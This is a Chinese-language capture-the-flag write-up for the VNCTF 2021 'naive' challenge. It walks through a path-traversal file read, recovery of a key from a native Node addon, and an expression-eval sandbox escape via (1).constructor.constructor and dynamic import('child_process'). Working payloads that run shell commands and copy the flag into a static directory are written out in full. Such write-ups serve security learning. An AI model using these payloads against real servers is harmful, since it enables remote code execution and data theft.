[VNCTF 2021]naive
拿了一个二血开心
亮点
nodeJs的ES6特性import及其动态加载特性
Wp
首先打开题目是一个计算器,以为是常规的审计Node去实现逃逸啥的,后来发现不是
在源代码当中发现,存在任意文件读取,先放一边
app.use("/source", (req, res) => {
let p = req.query.path || file;
p = path.resolve(path.dirname(file), p);
if (p.includes("flag")) {
res.send("no flag!");
} else {
res.sendFile(p);
}
});
接下来我们看看关键逻辑,接收一个参数e和code,但是我们首先要拿到code,才能任意执行eval
app.use("/eval", (req, res) => {
const e = req.body.e;
const code = req.body.code;
if (!e || !code) {
res.send("wrong?");
return;
}
try {
if (addon.verify(code)) {
res.send(String(eval_(parse(e))));
} else {
res.send("wrong?");
}
} catch (e) {
console.log(e)
res.send("wrong?");
}
});
再接下来看到最上面code是利用bindings引入的const addon = bindings("addon");
,去nodejs官网上面搜一下
可以看出bindings(“addon”);会引入build/Release/addon.node里面的包,因此我们配合上面文件下载,访问
http://1adff864-6d0f-49d3-8127-db3e6f1b1167.node3.buuoj.cn/source?path=../build/Release/addon.node
拿到一个elf文件,web狗看不懂,丢给会逆向的同学拿到了密钥yoshino-s_want_a_gf,qq1735439536
接下来,便是如何利用 res.send(String(eval_(parse(e))));
去实现任意命令的执行了,起初我去官网读了下expression-eval
的底层代码,差点吐血,后来经过我精心测试发现利用(1).constructor.constructor
可以拿到Funtion从而实现自定义匿名函数
之后我尝试了一波常规paylaod
code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return require('child_process').execSync(\"whoami").toString();})")();
大大的wrong真的讽刺
后来几经波折发现在package.json/source?path=../package.json
当中有一行"type": "module"
这也是本题的关键所在
{
"name": "name",
"version": "0.1.1",
"description": "Description",
"private": true,
"main": "src/index.js",
"type": "module",
"scripts": {
"start": "node src/index.js",
"build:native": "node-gyp rebuild",
"build:native:dev": "node-gyp rebuild --debug"
},
"dependencies": {
"bindings": "^1.5.0",
"express": "^4.17.1",
"expression-eval": "^4.0.0",
"node-addon-api": "^3.0.2",
"seval": "^2.0.1"
},
"devDependencies": {
"@types/express": "^4.17.8",
"@types/node": "^14.10.1",
"node-gyp": "^7.1.2",
"prettier": "^2.0.5"
}
}
重点是这个"type": "module"
参数,在http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html 发现这里采用的是ES6不是CommonJS,因此不可以使用require导入,这就是前面代码执行异常的原因
但是我当时没搞懂咋利用import实现单行导入并执行命令,在这里https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules
发现了利用姿势,动态加载模块yyds!
尝试执行
code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return import('child_process').then((module)=>{module.execSync(\"whoami\").toString();})")();
发现它返回一个 promise.既然如此那我们尝试带外输出curl wget都不行
好吧,最后一条路,我们知道nodejs支持设置静态目录从而实现直接访问,在源码当中我们发现
app.use(express.static("static"));
因此不难得到这个目录在static下,所以我们构造paylaod将结果丢在static目录下
http://1adff864-6d0f-49d3-8127-db3e6f1b1167.node3.buuoj.cn/eval
POST数据
code=yoshino-s_want_a_gf,qq1735439536&e=(1).constructor.constructor("return+import('child_process').then((module)=>{module.execSync(\"cat ../flag>> ./static/4.js\");})")();
之后访问
http://1adff864-6d0f-49d3-8127-db3e6f1b1167.node3.buuoj.cn/4.js
拿到flag
参考学习链接
http://www.ruanyifeng.com/blog/2020/08/how-nodejs-use-es6-module.html
https://zhuanlan.zhihu.com/p/110548940
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Guide/Modules